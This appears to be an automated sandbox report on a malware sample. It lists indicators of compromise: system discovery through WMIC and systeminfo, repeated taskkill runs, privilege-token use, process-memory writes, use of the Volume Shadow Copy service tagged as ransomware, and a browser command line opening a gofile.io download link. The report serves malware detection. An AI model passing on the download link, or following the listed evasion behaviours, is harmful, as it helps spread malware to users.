Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Collects information from the system 1 TTPs 1 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

pid	Process
6732	WMIC.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
6884	WMIC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
6340	ipconfig.exe
6352	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
5968	systeminfo.exe

Kills process with taskkill 15 IoCs

evasion

pid	Process
6944	taskkill.exe
664	taskkill.exe
3208	taskkill.exe
5296	taskkill.exe
6572	taskkill.exe
2376	taskkill.exe
7156	taskkill.exe
1232	taskkill.exe
4844	taskkill.exe
1652	taskkill.exe
7096	taskkill.exe
6296	taskkill.exe
6500	taskkill.exe
232	taskkill.exe
1464	taskkill.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "234"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{cd0d66ec-8057-43f5-acbd-66dfb36fd78c}\ = "XACT Engine"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{c0c56f46-29b1-44e9-9939-a32ce86867e2}\ = "AudioVolumeMeter"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3b80ee2a-b0f5-4780-9e30-90cb39685b03}	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{c0c56f46-29b1-44e9-9939-a32ce86867e2}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e21a7345-eb21-468e-be50-804db97cf708}\InProcServer32\ = "C:\\Windows\\system32\\XAudio2_1.dll"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{c60fae90-4183-4a3f-b2f7-ac1dc49b0e5c}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{bc3e0fc6-2e0d-4c45-bc61-d9c328319bd8}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{54b68bc7-3a45-416b-a8c9-19bf19ec1df5}\ = "XACT Engine"	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{65d822a4-4799-42c6-9b18-d26cf66dd320}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e21a7345-eb21-468e-be50-804db97cf708}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f4769300-b949-4df9-b333-00d33932e9a6}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{cd0d66ec-8057-43f5-acbd-66dfb36fd78c}\InProcServer32\ThreadingModel = "Both"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{65d822a4-4799-42c6-9b18-d26cf66dd320}\InProcServer32\ = "C:\\Windows\\system32\\xactengine2_10.dll"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{c0c56f46-29b1-44e9-9939-a32ce86867e2}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{f4769300-b949-4df9-b333-00d33932e9a6}\InProcServer32	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e21a7345-eb21-468e-be50-804db97cf708}\InProcServer32\ThreadingModel = "Both"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{c1e3f122-a2ea-442c-854f-20d98f8357a1}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0aa000aa-f404-11d9-bd7a-0010dc4f8f81}\InProcServer32\ThreadingModel = "Both"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1138472b-d187-44e9-81f2-ae1b0e7785f1}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{54b68bc7-3a45-416b-a8c9-19bf19ec1df5}\InProcServer32\ = "C:\\Windows\\SysWow64\\xactengine2_5.dll"	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{343e68e6-8f82-4a8d-a2da-6e9a944b378c}	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6f6ea3a9-2cf5-41cf-91c1-2170b1540063}	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{cd0d66ec-8057-43f5-acbd-66dfb36fd78c}\ = "XACT Engine"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{343e68e6-8f82-4a8d-a2da-6e9a944b378c}\ = "XACT Engine"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{343e68e6-8f82-4a8d-a2da-6e9a944b378c}\InProcServer32\ = "C:\\Windows\\system32\\xactengine2_9.dll"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3b80ee2a-b0f5-4780-9e30-90cb39685b03}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{343e68e6-8f82-4a8d-a2da-6e9a944b378c}\InProcServer32\ = "C:\\Windows\\SysWow64\\xactengine2_9.dll"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3b80ee2a-b0f5-4780-9e30-90cb39685b03}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{c0c56f46-29b1-44e9-9939-a32ce86867e2}\ = "AudioVolumeMeter"	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{c1e3f122-a2ea-442c-854f-20d98f8357a1}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{f4769300-b949-4df9-b333-00d33932e9a6}\InProcServer32\ThreadingModel = "Both"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0aa000aa-f404-11d9-bd7a-0010dc4f8f81}\InProcServer32\ = "C:\\Windows\\system32\\xactengine2_0.dll"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{c60fae90-4183-4a3f-b2f7-ac1dc49b0e5c}\ = "XACT Engine"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{cd0d66ec-8057-43f5-acbd-66dfb36fd78c}\InProcServer32\ = "C:\\Windows\\SysWow64\\xactengine2_7.dll"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{c1e3f122-a2ea-442c-854f-20d98f8357a1}\InProcServer32\ThreadingModel = "Both"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3b80ee2a-b0f5-4780-9e30-90cb39685b03}\ = "XACT Engine"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6f6ea3a9-2cf5-41cf-91c1-2170b1540063}\InProcServer32\ = "C:\\Windows\\SysWow64\\XAudio2_0.dll"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{fac23f48-31f5-45a8-b49b-5225d61401aa}\InProcServer32\ = "C:\\Windows\\system32\\XAudio2_0.dll"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{962f5027-99be-4692-a468-85802cf8de61}\ = "XACT Engine"	dxwsetup.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	OpenWith.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{bc3e0fc6-2e0d-4c45-bc61-d9c328319bd8}\ = "XACT Engine"	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{54b68bc7-3a45-416b-a8c9-19bf19ec1df5}	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{343e68e6-8f82-4a8d-a2da-6e9a944b378c}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e21a7345-eb21-468e-be50-804db97cf708}\ = "XAudio2"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{cd0d66ec-8057-43f5-acbd-66dfb36fd78c}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{c0c56f46-29b1-44e9-9939-a32ce86867e2}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6f6ea3a9-2cf5-41cf-91c1-2170b1540063}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f1b577e-5e5a-4e8a-ba73-c657ea8e8598}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{77c56bf4-18a1-42b0-88af-5072ce814949}\InProcServer32\ThreadingModel = "Both"	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{fac23f48-31f5-45a8-b49b-5225d61401aa}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e21a7345-eb21-468e-be50-804db97cf708}\InProcServer32	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1138472b-d187-44e9-81f2-ae1b0e7785f1}	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{bc3e0fc6-2e0d-4c45-bc61-d9c328319bd8}\InProcServer32	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3b80ee2a-b0f5-4780-9e30-90cb39685b03}\InProcServer32	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{fac23f48-31f5-45a8-b49b-5225d61401aa}\ = "XAudio2"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{962f5027-99be-4692-a468-85802cf8de61}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e21a7345-eb21-468e-be50-804db97cf708}\InProcServer32\ = "C:\\Windows\\SysWow64\\XAudio2_1.dll"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{c1e3f122-a2ea-442c-854f-20d98f8357a1}\InProcServer32\ = "C:\\Windows\\SysWow64\\XAudio2_1.dll"	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{343e68e6-8f82-4a8d-a2da-6e9a944b378c}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{fac23f48-31f5-45a8-b49b-5225d61401aa}\ = "XAudio2"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{fac23f48-31f5-45a8-b49b-5225d61401aa}\InProcServer32\ = "C:\\Windows\\SysWow64\\XAudio2_0.dll"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{c0c56f46-29b1-44e9-9939-a32ce86867e2}\InProcServer32\ThreadingModel = "Both"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{c0c56f46-29b1-44e9-9939-a32ce86867e2}\InProcServer32\ = "C:\\Windows\\SysWow64\\XAudio2_0.dll"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6f6ea3a9-2cf5-41cf-91c1-2170b1540063}\ = "AudioReverb"	dxwsetup.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 418141.crdownload:SmartScreen	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3096	msedge.exe
3096	msedge.exe
2796	msedge.exe
2796	msedge.exe
2200	identity_helper.exe
2200	identity_helper.exe
2308	msedge.exe
2308	msedge.exe
4576	msedge.exe
4576	msedge.exe
5784	powershell.exe
5784	powershell.exe
5784	powershell.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
4788	KA-LicenseKey_x86_x64_v1.1.exe
4788	KA-LicenseKey_x86_x64_v1.1.exe
4788	KA-LicenseKey_x86_x64_v1.1.exe
4788	KA-LicenseKey_x86_x64_v1.1.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
3608	AudioDriver.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5396	OpenWith.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 34 IoCs

pid	Process
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5784	powershell.exe
Token: SeDebugPrivilege	3608	AudioDriver.exe
Token: SeDebugPrivilege	4788	KA-LicenseKey_x86_x64_v1.1.exe
Token: 33	4748	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4748	AUDIODG.EXE
Token: SeDebugPrivilege	5936	KA-MemIntegrity_x86_x64_v1.1.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeIncreaseQuotaPrivilege	6884	WMIC.exe
Token: SeSecurityPrivilege	6884	WMIC.exe
Token: SeTakeOwnershipPrivilege	6884	WMIC.exe
Token: SeLoadDriverPrivilege	6884	WMIC.exe
Token: SeSystemProfilePrivilege	6884	WMIC.exe
Token: SeSystemtimePrivilege	6884	WMIC.exe
Token: SeProfSingleProcessPrivilege	6884	WMIC.exe
Token: SeIncBasePriorityPrivilege	6884	WMIC.exe
Token: SeCreatePagefilePrivilege	6884	WMIC.exe
Token: SeBackupPrivilege	6884	WMIC.exe
Token: SeRestorePrivilege	6884	WMIC.exe
Token: SeShutdownPrivilege	6884	WMIC.exe
Token: SeDebugPrivilege	6884	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6884	WMIC.exe
Token: SeRemoteShutdownPrivilege	6884	WMIC.exe
Token: SeUndockPrivilege	6884	WMIC.exe
Token: SeManageVolumePrivilege	6884	WMIC.exe
Token: 33	6884	WMIC.exe
Token: 34	6884	WMIC.exe
Token: 35	6884	WMIC.exe
Token: 36	6884	WMIC.exe
Token: SeDebugPrivilege	2168	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4156	WMIC.exe
Token: SeSecurityPrivilege	4156	WMIC.exe
Token: SeTakeOwnershipPrivilege	4156	WMIC.exe
Token: SeLoadDriverPrivilege	4156	WMIC.exe
Token: SeSystemProfilePrivilege	4156	WMIC.exe
Token: SeSystemtimePrivilege	4156	WMIC.exe
Token: SeProfSingleProcessPrivilege	4156	WMIC.exe
Token: SeIncBasePriorityPrivilege	4156	WMIC.exe
Token: SeCreatePagefilePrivilege	4156	WMIC.exe
Token: SeBackupPrivilege	4156	WMIC.exe
Token: SeRestorePrivilege	4156	WMIC.exe
Token: SeShutdownPrivilege	4156	WMIC.exe
Token: SeDebugPrivilege	4156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4156	WMIC.exe
Token: SeRemoteShutdownPrivilege	4156	WMIC.exe
Token: SeUndockPrivilege	4156	WMIC.exe
Token: SeManageVolumePrivilege	4156	WMIC.exe
Token: 33	4156	WMIC.exe
Token: 34	4156	WMIC.exe
Token: 35	4156	WMIC.exe
Token: 36	4156	WMIC.exe
Token: SeIncreaseQuotaPrivilege	6884	WMIC.exe
Token: SeSecurityPrivilege	6884	WMIC.exe
Token: SeTakeOwnershipPrivilege	6884	WMIC.exe
Token: SeLoadDriverPrivilege	6884	WMIC.exe
Token: SeSystemProfilePrivilege	6884	WMIC.exe
Token: SeSystemtimePrivilege	6884	WMIC.exe
Token: SeProfSingleProcessPrivilege	6884	WMIC.exe
Token: SeIncBasePriorityPrivilege	6884	WMIC.exe
Token: SeCreatePagefilePrivilege	6884	WMIC.exe
Token: SeBackupPrivilege	6884	WMIC.exe
Token: SeRestorePrivilege	6884	WMIC.exe
Token: SeShutdownPrivilege	6884	WMIC.exe
Token: SeDebugPrivilege	6884	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6884	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe

Suspicious use of SendNotifyMessage 28 IoCs

pid	Process
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe
2796	msedge.exe

Suspicious use of SetWindowsHookEx 22 IoCs

pid	Process
5396	OpenWith.exe
5396	OpenWith.exe
5396	OpenWith.exe
5396	OpenWith.exe
5396	OpenWith.exe
5396	OpenWith.exe
5396	OpenWith.exe
5396	OpenWith.exe
5396	OpenWith.exe
5396	OpenWith.exe
5396	OpenWith.exe
5396	OpenWith.exe
5396	OpenWith.exe
5396	OpenWith.exe
5396	OpenWith.exe
4552	GHOSTYFN.exe
4788	KA-LicenseKey_x86_x64_v1.1.exe
5936	KA-MemIntegrity_x86_x64_v1.1.exe
4500	GHOSTYFN.exe
6800	Exela.exe
6900	Exela.exe
4072	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2796 wrote to memory of 2728	2796	msedge.exe	84
PID 2796 wrote to memory of 2728	2796	msedge.exe	84
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 1108	2796	msedge.exe	85
PID 2796 wrote to memory of 3096	2796	msedge.exe	86
PID 2796 wrote to memory of 3096	2796	msedge.exe	86
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87
PID 2796 wrote to memory of 1100	2796	msedge.exe	87

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
6356	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://gofile.io/d/dg0UQ7
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
